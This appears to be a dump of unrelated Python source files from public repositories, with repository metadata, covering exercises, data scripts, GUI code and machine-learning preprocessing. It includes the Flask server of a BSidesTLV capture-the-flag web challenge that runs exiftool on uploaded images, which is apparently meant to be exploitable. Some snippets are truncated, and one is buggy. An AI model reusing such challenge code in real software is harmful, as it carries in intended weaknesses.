2021-11-29T15:46:22.000Z
Licence 1/I11/TP2/tp2_1_2.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
null
null
null
Licence 1/I11/TP2/tp2_1_2.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
6
2020-10-23T15:29:24.000Z
2021-05-05T19:10:45.000Z
note1 = float(input("Entrer la note du UE 1: ")) note2 = float(input("Entrer la note du UE 2: ")) note3 = float(input("Entrer la note du UE 3: ")) moyenne = (note1 + note2 + note3) / 3 if moyenne >= 10: if note1 < 10 or note2 < 10 or note3 < 10: print("Semestre valide par compensation") else: ...
27.571429
49
0.626943
6e94611fdd72992462b2f5c9334daa76929cb1f7
142
py
Python
Programming Languages/Python/Theory/100_Python_Exercises/Exercises/Exercise 13/13.py
jaswinder9051998/Resources
fd468af37bf24ca57555d153ee64693c018e822e
[ "MIT" ]
101
2021-12-20T11:57:11.000Z
2022-03-23T09:49:13.000Z
50-Python-Exercises/Exercises/Exercise 13/13.py
kuwarkapur/Hacktoberfest-2022
efaafeba5ce51d8d2e2d94c6326cc20bff946f17
[ "MIT" ]
4
2022-01-12T11:55:56.000Z
2022-02-12T04:53:33.000Z
50-Python-Exercises/Exercises/Exercise 13/13.py
kuwarkapur/Hacktoberfest-2022
efaafeba5ce51d8d2e2d94c6326cc20bff946f17
[ "MIT" ]
38
2022-01-12T11:56:16.000Z
2022-03-23T10:07:52.000Z
#Create a script that converts all items of the range to strings my_range = range(1, 21) print(map(str, my_range)) for i in map: print(i)
23.666667
64
0.71831
6ecc22e0ec8c390db308c3e4bbf2d3ac472653cb
477
py
Python
listings/chapter06/import-iris-xml-attr.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
2
2021-09-20T06:16:41.000Z
2022-01-17T14:24:43.000Z
listings/chapter06/import-iris-xml-attr.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
listings/chapter06/import-iris-xml-attr.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
from xml.etree import ElementTree doc = ElementTree.parse('iris-elements.xml') root = doc.getroot() irises = [] for iris in root.findall('iris'): irises.append([ float(iris.attrib['sepal-length']), float(iris.attrib['sepal-width']), float(iris.attrib['petal-length']), float(iris.att...
26.5
46
0.647799
2820f42939e9f739a8ca4b9fecc735c4149b43b0
4,431
py
Python
10.3389/fevo.2021.762173/scripts/generate_meshdataset.py
jqsunac/doi
c5912a40c7bfda8270e5d51fbdd82a9f0650bd23
[ "MIT" ]
null
null
null
10.3389/fevo.2021.762173/scripts/generate_meshdataset.py
jqsunac/doi
c5912a40c7bfda8270e5d51fbdd82a9f0650bd23
[ "MIT" ]
null
null
null
10.3389/fevo.2021.762173/scripts/generate_meshdataset.py
jqsunac/doi
c5912a40c7bfda8270e5d51fbdd82a9f0650bd23
[ "MIT" ]
null
null
null
import os import sys import re import numpy as np import pandas as pd level = sys.argv[1] kankyo_fpath = sys.argv[2] spname_fpath = sys.argv[3] class_fpath = sys.argv[4] output_fpath = sys.argv[5] def mesh2gps(mesh_code): mesh_code = str(mesh_code) lat = int(mesh_code[0:2]) * 2 / 3 lng = int(mesh_code[2...
33.315789
117
0.651095
282db66e7f7dca0f5070eadd40dc7e75fa003765
3,236
py
Python
7-assets/past-student-repos/LambdaSchool-master/m7/71a1/applications/markov/markov.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/LambdaSchool-master/m7/71a1/applications/markov/markov.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/LambdaSchool-master/m7/71a1/applications/markov/markov.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
import random # Read in all the words in one go # Read the file input.txt and split it into words. with open("E:\\projects\\LambdaSchool\\m7\\71a1\\applications\\markov\\input.txt") as f: words = f.read() words = words.replace(chr(ord('\n')), ' ') word_array = words.split(" ") # get set of words word_set = set(wor...
41.487179
333
0.694994
254abbe0785e8de754f388b0a499f9a82f228a8f
240
py
Python
packages/watchmen-data-surface/src/watchmen_data_surface/main.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-surface/src/watchmen_data_surface/main.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-surface/src/watchmen_data_surface/main.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from typing import List from fastapi import APIRouter from .cache import cache_router from .data import topic_data_router def get_data_surface_routers() -> List[APIRouter]: return [ cache_router.router, topic_data_router.router ]
17.142857
50
0.795833
b09e550afe00d700856bea4d450a5ceb19d54047
2,968
py
Python
Packs/PrismaCloud/Scripts/PrismaCloudAttribution/PrismaCloudAttribution.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/PrismaCloud/Scripts/PrismaCloudAttribution/PrismaCloudAttribution.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/PrismaCloud/Scripts/PrismaCloudAttribution/PrismaCloudAttribution.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto from CommonServerPython import * # noqa # pylint: disable=unused-wildcard-import from CommonServerUserPython import * # noqa """PrismaCloudAttribution """ from typing import Dict, List, Any, Iterable, Union import traceback IPADDRESS_KEYS = ['publicIpAddress', 'natIP', 'publicIp', 'i...
31.574468
125
0.618598
9fd5f088c338ddbcdfa4c609c0c8efee17ec06e2
2,693
py
Python
BSidesTLV/2021/web/Intellimage/index.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
BSidesTLV/2021/web/Intellimage/index.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
BSidesTLV/2021/web/Intellimage/index.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
import os import hashlib import tempfile from exiftool import ExifTool from flask import Flask, request, jsonify app = Flask(__name__, template_folder="views", static_folder="public", static_url_path="/") app.config["MAX_CONTENT_LENGTH"] = 100 * 1024 secret = os.getenv("SECRET") or "BSidesTLV2021{This_Is_Not_T...
28.648936
104
0.55143
05c6b36e363a3c6b8fb90a06a1db7e35dd1fcef6
696
py
Python
DataStructures/Tree/LevelOrder.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
DataStructures/Tree/LevelOrder.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
DataStructures/Tree/LevelOrder.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
#coding:utf-8 def LevelOrder_iteration(root): prev_level = [] cur_level = [root] if root else [] while 1: prev_level = cur_level cur_level = [] for node in prev_level: print node.data, if node.left: cur_level.append(node) if nod...
23.2
41
0.550287
af57ee3e0341dfb4a6caa1d18d9e3e97617db935
3,243
py
Python
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/applications/FootballAction/datasets/script/get_instance_for_pptsm.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
1
2022-01-12T06:52:43.000Z
2022-01-12T06:52:43.000Z
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/applications/FootballAction/datasets/script/get_instance_for_pptsm.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
null
null
null
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/applications/FootballAction/datasets/script/get_instance_for_pptsm.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
null
null
null
""" get instance for pptsm positive: 标注后的动作区间,一个区间所有frames生成一个pkl negative: 标注后的非动作区间,随机取N个区间生成N个pkl,每个区间长度等于最近的前一个动作区间的长度 """ import os import json import numpy as np import random import pickle from concurrent import futures dataset = "/home/PaddleVideo/applications/FootballAction/datasets/EuroCup2016" frames_dir = ...
33.78125
100
0.584335
bbe5eb7f9522cc77e65aa63673b2a3ef0039508e
3,617
py
Python
Utils/py/MotionAnalysis/BehaviorParser.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/MotionAnalysis/BehaviorParser.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/MotionAnalysis/BehaviorParser.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
#!/usr/bin/python from naoth.LogReader import LogReader from naoth.LogReader import Parser from matplotlib import pyplot import numpy class XABSLSymbols: def __init__(self): self.values = {} self.decimalIdToName = {} self.booleanIdToName = {} self.enumIdToName = {} class Behavio...
29.892562
114
0.588333
5947a17e0eb44f3c1cc8857c4903ec1f695d4ab9
1,500
py
Python
research/nlp/textrcnn/preprocess.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/nlp/textrcnn/preprocess.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/nlp/textrcnn/preprocess.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
35.714286
79
0.677333
3cd45038c3f577ffa6cbf61cdaf501750b004ecb
714
py
Python
PMIa/2014/KUCHERYAVENKO_A_I/task_5_38.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
PMIa/2014/KUCHERYAVENKO_A_I/task_5_38.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
PMIa/2014/KUCHERYAVENKO_A_I/task_5_38.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
# Задача 5. Вариант 38. # Напишите программу, которая бы при запуске случайным образом # отображала имя одной из семи птиц, # доступных с первой версии игры Angry Birds. # Kucheryavenko A. I. # 31.03.2016 import random print("Программа случайным образом отображает имя одной из семи птиц,доступных с первой версии игр...
22.3125
102
0.655462
595a33badc980a52b4cd42e2c31bd18a64b2a8a4
686
py
Python
source/pkgsrc/mail/getmail/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/mail/getmail/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/mail/getmail/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-setup.py,v 1.1 2017/07/16 00:16:43 schmonz Exp $ Use standard pkgsrc paths, and don't install RPM spec file. --- setup.py.orig 2007-11-23 16:26:55.000000000 +0000 +++ setup.py @@ -39,13 +39,12 @@ GETMAILDOCDIR = os.path.join( datadir or prefix, 'share', 'doc', - 'getmail-%s' % __versi...
22.129032
63
0.537901
e64dc0ec367753fc0014006d21c54adea124d1b2
254
py
Python
Licence 1/I11/TP3/tp3_2_1.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
8
2020-11-26T20:45:12.000Z
2021-11-29T15:46:22.000Z
Licence 1/I11/TP3/tp3_2_1.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
null
null
null
Licence 1/I11/TP3/tp3_2_1.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
6
2020-10-23T15:29:24.000Z
2021-05-05T19:10:45.000Z
from pocketnoobj import * ch = input("saisir une chaine de caracteres :") i = 0 while i < len(ch): if isalpha(ch[i]): print(ch[i], "Lettre") elif isdigit(ch[i]): print(ch[i], "Chiffre") else: print(ch[i], "Caractere special") i = i + 1
23.090909
48
0.606299
e6676a8c8ca30308517e4f444500b8b53fcf090b
2,592
py
Python
showcase6/com/aaron/demo6.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
null
null
null
showcase6/com/aaron/demo6.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
2
2021-03-25T22:00:07.000Z
2022-01-20T15:51:48.000Z
showcase6/com/aaron/demo6.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
null
null
null
import wx import os class MainWindow(wx.Frame): def __init__(self, parent, title): self.dirname='' # A "-1" in the size parameter instructs wxWidgets to use the default size. # In this case, we select 200px width and the default height. wx.Frame.__init__(self, parent, title=title, ...
37.565217
101
0.611111
f9e207182940330583ce4e13dba41931b310c3c7
25,851
py
Python
zencad/gui/display.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
null
null
null
zencad/gui/display.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
null
null
null
zencad/gui/display.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import sys import threading import math import time import os from OCC.Core.AIS import AIS_Axis, AIS_Shaded, AIS_Shape from OCC.Core.Aspect import Aspect_GFM_VER from OCC.Core.Quantity import Quantity_TOC_RGB, Quantity_Color from OCC.Core.Geom import Geom_Line from OCC.Core.gp import gp_Lin, gp...
32.516981
183
0.585819
ddedb6aefc29c33849e743b0070fe8649b126112
4,841
py
Python
Player.py
Lynext/VordLraxx
fb63c2e3e1608d947981832349d32fffe222f3db
[ "MIT" ]
null
null
null
Player.py
Lynext/VordLraxx
fb63c2e3e1608d947981832349d32fffe222f3db
[ "MIT" ]
1
2020-12-27T21:12:40.000Z
2022-03-17T00:08:47.000Z
Player.py
Lynext/VordLraxx
fb63c2e3e1608d947981832349d32fffe222f3db
[ "MIT" ]
null
null
null
import Vars import Offsets import math class Vector2 (): x = 0 y = 0 xDir = "" yDir = "" class Player (): type = "Player" id = 0 x = 0 y = 0 xVel = 0 yVel = 0 damageTaken = 0 grounded = False inAnimation = False inStun = False canAttack = False jumpCount...
37.238462
387
0.521793
9b945cfc488bf39dfc1fa44a6e8fa3372ba4e6c4
1,680
py
Python
Util/CythonUtil.py
leoatchina/MachineLearning
071f2c0fc6f5af3d9550cfbeafe8d537c35a76d3
[ "MIT" ]
1,107
2016-09-21T02:18:36.000Z
2022-03-29T02:52:12.000Z
Util/CythonUtil.py
leoatchina/MachineLearning
071f2c0fc6f5af3d9550cfbeafe8d537c35a76d3
[ "MIT" ]
18
2016-12-22T10:24:47.000Z
2022-03-11T23:18:43.000Z
Util/CythonUtil.py
leoatchina/MachineLearning
071f2c0fc6f5af3d9550cfbeafe8d537c35a76d3
[ "MIT" ]
776
2016-12-21T12:08:08.000Z
2022-03-21T06:12:08.000Z
import sys import Cython.Compiler.Main from numpy.distutils.command import build_src from numpy.distutils.misc_util import appendpath from numpy.distutils import log from os.path import join as p_join, dirname from distutils.dep_util import newer_group from distutils.errors import DistutilsError try: imp...
37.333333
114
0.71131
32e22448e2ad48f2661d7dda207f2392f55abf7e
2,357
py
Python
AddTwoNum/Template.py
Themishau/Algorithmen
f31627f823eb86f8673e72c4998c9029e74097fb
[ "MIT" ]
null
null
null
AddTwoNum/Template.py
Themishau/Algorithmen
f31627f823eb86f8673e72c4998c9029e74097fb
[ "MIT" ]
null
null
null
AddTwoNum/Template.py
Themishau/Algorithmen
f31627f823eb86f8673e72c4998c9029e74097fb
[ "MIT" ]
null
null
null
from typing import List def convertList(l, i): start = ListNode (val=int(l[i]), next=None) i += 1 if i < len(l): start.next = convertList(l, i) return start # Definition for singly-linked list. class ListNode: def __init__(self, val=0, next=None): self.val = val self.next ...
29.098765
71
0.558337
1ff54af9539edd4cf4c98b0bf8c98f7656cd0ca9
2,753
py
Python
Algorithms/making_change/making_change.py
tobias-fyi/02_algorithms
ab1a8a07c3560ad66712992e3af906e8fd316fe2
[ "MIT" ]
null
null
null
Algorithms/making_change/making_change.py
tobias-fyi/02_algorithms
ab1a8a07c3560ad66712992e3af906e8fd316fe2
[ "MIT" ]
8
2020-03-24T17:47:23.000Z
2022-03-12T00:33:21.000Z
cs/lambda_cs/02_algorithms/Algorithms/making_change/making_change.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
""" Algorithms :: Practice - making change """ import sys def making_change(amt: int, coins: list) -> int: """Iterative implementation of the making change algorithm. :param amt (int) : Amount, in cents, to be made into change. :param coins (list) : List of coin denominations :return (int) : Num...
32.011628
86
0.63458
1f4b2ab9ff8a7c71b2af24ad26eeb7dca3690f41
2,399
py
Python
hdg_test/3d/hdg_test.py
BradHub/SL-SPH
7bc86253277d27cbb04a9b5935fd4fc056266371
[ "MIT" ]
1
2018-02-19T01:52:58.000Z
2018-02-19T01:52:58.000Z
hdg_test/3d/hdg_test.py
BradHub/SL-SPH
7bc86253277d27cbb04a9b5935fd4fc056266371
[ "MIT" ]
null
null
null
hdg_test/3d/hdg_test.py
BradHub/SL-SPH
7bc86253277d27cbb04a9b5935fd4fc056266371
[ "MIT" ]
null
null
null
import numpy as np import dolfin from dolfin import * from mpi4py import MPI as pyMPI from leopart import StokesStaticCondensation, FormsStokes import geopart.stokes.incompressible import dolfin_dg as dg comm = pyMPI.COMM_WORLD mpi_comm = MPI.comm_world #load mesh,boundaries and coefficients from file mark = {"Int...
31.565789
75
0.732805
8d04e73b146bd8d9c268f4a7bd25fde9accc2b69
29
py
Python
util/__init__.py
teastares/or_lab
c8fb5c22d31c1e2b93381397202be7b71a3fc796
[ "MIT" ]
1
2021-01-18T09:11:59.000Z
2021-01-18T09:11:59.000Z
util/__init__.py
teastares/or_lab
c8fb5c22d31c1e2b93381397202be7b71a3fc796
[ "MIT" ]
null
null
null
util/__init__.py
teastares/or_lab
c8fb5c22d31c1e2b93381397202be7b71a3fc796
[ "MIT" ]
null
null
null
from util.model_util import *
29
29
0.827586
9e72c09147337f75b763bd8b11197db4d1dfe4e4
1,345
py
Python
ActorCritic/A2C_ver1/run_cartpole.py
pickxiguapi/rl-algorithm
a57991acd178077fd7f51bcd4ae2ee58492475c2
[ "MIT" ]
2
2021-01-06T09:45:23.000Z
2021-04-21T09:39:14.000Z
ActorCritic/A2C_ver1/run_cartpole.py
pickxiguapi/rl-algorithm
a57991acd178077fd7f51bcd4ae2ee58492475c2
[ "MIT" ]
null
null
null
ActorCritic/A2C_ver1/run_cartpole.py
pickxiguapi/rl-algorithm
a57991acd178077fd7f51bcd4ae2ee58492475c2
[ "MIT" ]
null
null
null
# -*- encoding: utf-8 -*- """ @File : run_cartpole.py @Time : 2020/12/6 @Author : Yuan Yifu """ import gym from A2C_brain import A2C import matplotlib.pyplot as plt DISPLAY_REWARD_THRESHOLD = 400 # renders environment if total episode reward is greater then this threshold RENDER = False # rendering wastes ti...
22.416667
108
0.638662
7b435b75690c4acd06bd31e14e1102f2042f8c46
480
py
Python
sirky3.py
Bertik23/spg
f6449f1ca8f3a869f0f493f3988b3d84901c1be0
[ "MIT" ]
null
null
null
sirky3.py
Bertik23/spg
f6449f1ca8f3a869f0f493f3988b3d84901c1be0
[ "MIT" ]
null
null
null
sirky3.py
Bertik23/spg
f6449f1ca8f3a869f0f493f3988b3d84901c1be0
[ "MIT" ]
null
null
null
sirky = 5 tree = {} hrac = 4 def play(sirky): global hrac hrac += 1 hrac = hrac%3+1 print(hrac, sirky) if sirky == 1 and hrac == 3: print(sirky,hrac) return False if sirky>0: for i in range(1,4): if play(sirky-i): continue else: ...
20
44
0.447917
7b4765b4dc1b950a1db07f155cb990a413529d48
3,574
py
Python
GZP_GTO_QGIS/INSTALLATION/GeoTaskOrganizer/mActionGTOtoolbar.py
msgis/swwat-gzp-template
080afbe9d49fb34ed60ba45654383d9cfca01e24
[ "MIT" ]
3
2019-06-18T15:28:09.000Z
2019-07-11T07:31:45.000Z
GZP_GTO_QGIS/INSTALLATION/GeoTaskOrganizer/mActionGTOtoolbar.py
msgis/swwat-gzp-template
080afbe9d49fb34ed60ba45654383d9cfca01e24
[ "MIT" ]
2
2019-07-11T14:03:25.000Z
2021-02-08T16:14:04.000Z
GZP_GTO_QGIS/INSTALLATION/GeoTaskOrganizer/mActionGTOtoolbar.py
msgis/swwat-gzp-template
080afbe9d49fb34ed60ba45654383d9cfca01e24
[ "MIT" ]
1
2019-06-12T11:07:37.000Z
2019-06-12T11:07:37.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- from __future__ import absolute_import from PyQt5.QtCore import Qt, QObject from PyQt5.QtWidgets import QMainWindow, QAction, QWidget, QToolBar, QMenu, QToolButton, QPushButton, QSizePolicy from PyQt5.QtGui import QIcon, QPixmap class run(QObject): def __init__(self, id...
48.297297
113
0.581421
7b6cd2dd7bc9a9f84fe794ee5b067d32cf4b4cdc
76
py
Python
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/pg-8.4-loop-on-sting.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/pg-8.4-loop-on-sting.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/pg-8.4-loop-on-sting.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
country = "Bangladesh" print(country, '\n') for c in country: print(c)
12.666667
22
0.644737
7b725c506ac44c44641db30bf2c51c5ef8276345
1,056
py
Python
opencv_tutorial/opencv_python_tutorials/Image_Processing/image_contours.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
opencv_tutorial/opencv_python_tutorials/Image_Processing/image_contours.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
opencv_tutorial/opencv_python_tutorials/Image_Processing/image_contours.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Mon Apr 1 16:56:02 2019 @author: jone """ import cv2 def nothing(x): pass img = cv2.imread('img/apple.jpg') # 사이즈 조정 h, w = img.shape[:2] r = 400/w dim = (int(r*w), int(r*h)) img = cv2.resize(img, dim) cv2.namedWindow('canny') cv2.createTrackbar('K', 'canny', 80, 255, n...
26.4
117
0.660038
7babe0f030ae8d23c1d586e2f4a37cbb66972310
26,967
py
Python
wz/local/field_handlers.py
gradgrind/WZ
672d93a3c9d7806194d16d6d5b9175e4046bd068
[ "Apache-2.0" ]
null
null
null
wz/local/field_handlers.py
gradgrind/WZ
672d93a3c9d7806194d16d6d5b9175e4046bd068
[ "Apache-2.0" ]
null
null
null
wz/local/field_handlers.py
gradgrind/WZ
672d93a3c9d7806194d16d6d5b9175e4046bd068
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ field_handlers.py - last updated 2021-05-14 Handlers for special report/template fields. ============================== Copyright 2021 Michael Towers Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. Y...
34.006305
79
0.585123
c88b6f9db62d81fd85a27aa6d25b4ad831e5f53f
1,014
py
Python
Python/zzz_training_challenge/Python_Challenge/solutions/ch02_math/solutions/ex05_prime_pairs_optimized.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch02_math/solutions/ex05_prime_pairs_optimized.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch02_math/solutions/ex05_prime_pairs_optimized.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
# Beispielprogramm für das Buch "Python Challenge" # # Copyright 2020 by Michael Inden from ch02_math.solutions.ex04_primes import calc_primes_up_to def main(): calc_prime_pairs(50) def calc_prime_pairs(max_value): primes = calc_primes_up_to(max_value + 7) def is_twin_pair(n): return is_prime...
22.533333
72
0.648915
c8f522bb1175933ff778d6a7284c7a2ca2f57adf
1,217
py
Python
vocabulary.py
BardinPetr/vocabulary-skill-alice
0c3327070760d4029fb0c7bd081b598f6e7d9fbc
[ "Apache-2.0" ]
null
null
null
vocabulary.py
BardinPetr/vocabulary-skill-alice
0c3327070760d4029fb0c7bd081b598f6e7d9fbc
[ "Apache-2.0" ]
null
null
null
vocabulary.py
BardinPetr/vocabulary-skill-alice
0c3327070760d4029fb0c7bd081b598f6e7d9fbc
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 from __future__ import unicode_literals from libs.abbyy_lingvo import run from libs.apiai import * import pymorphy2 apiai = ApiAI('b18d2a71bcd3409d851654c3b868af45') morph = pymorphy2.MorphAnalyzer() def handle_dialog(request, response, user_storage): if request.is_new_session: response.s...
27.659091
78
0.62613
a91c8a0c67d517b0caefe0b473f2c2279425be60
21,664
py
Python
resources/buildings/generate_files.py
Strange-Penguins/Stython
f4f96383681f311dd0ecceddf15417c78c974830
[ "MIT" ]
1
2021-03-13T21:50:12.000Z
2021-03-13T21:50:12.000Z
resources/buildings/generate_files.py
Strange-Penguins/Stython
f4f96383681f311dd0ecceddf15417c78c974830
[ "MIT" ]
4
2021-03-13T22:22:11.000Z
2021-03-14T22:17:49.000Z
resources/buildings/generate_files.py
Strange-Penguins/Stython
f4f96383681f311dd0ecceddf15417c78c974830
[ "MIT" ]
null
null
null
import json buildings = ["HEADQUARTER", "BARRACKS", "STABLE", "WORKSHOP", "ACADEMY", "SMITHY", "RALLY_POINT", "STATUE", "MARKET", "TIMBER_CAMP", "CLAY_PIT", "IRON_MINE", "FARM", "WAREHOUSE", "HIDING_PLACE", "WALL"] requirements = [ {}, {"HEADQUARTER": 3}, {"HEADQUARTER": 10, "BARRACKS": 5, "S...
44.760331
174
0.360598
a9695854b8ba65c84f85f1464bf7aa37f24116e0
796
py
Python
tikz/pi/create.py
RalfGuder/LaTeX-examples
a1bf9fe422969be1ca4674394ebd2170c07f7693
[ "MIT" ]
1,231
2015-01-07T04:04:25.000Z
2022-03-31T17:43:29.000Z
tikz/pi/create.py
DoubleL61/LaTeX-examples
cd0d97f85fadb59b7c6e9062b37a8bf7d725ba0c
[ "MIT" ]
5
2015-05-10T13:10:47.000Z
2021-05-02T21:28:49.000Z
tikz/pi/create.py
DoubleL61/LaTeX-examples
cd0d97f85fadb59b7c6e9062b37a8bf7d725ba0c
[ "MIT" ]
400
2015-01-05T06:22:18.000Z
2022-03-19T04:07:59.000Z
#!/usr/bin/env python """Create a data.csv file.""" import csv try: # import version included with old SymPy from sympy.mpmath import mp except ImportError: # import newer version from mpmath import mp mp.dps = 1000 # set number of digits pi = mp.pi print(pi) # Split pi in groups of two digits pi ...
21.513514
68
0.625628
a97ebe0eaafb2495d3ccf7f7fedd31a9f3dd18f0
374
py
Python
Lab1/Task[13-15].py
ValeriyMartsyshyn/HelloPython
badcf85bc54e889eed0286b420e5cabe68da8572
[ "MIT" ]
null
null
null
Lab1/Task[13-15].py
ValeriyMartsyshyn/HelloPython
badcf85bc54e889eed0286b420e5cabe68da8572
[ "MIT" ]
null
null
null
Lab1/Task[13-15].py
ValeriyMartsyshyn/HelloPython
badcf85bc54e889eed0286b420e5cabe68da8572
[ "MIT" ]
null
null
null
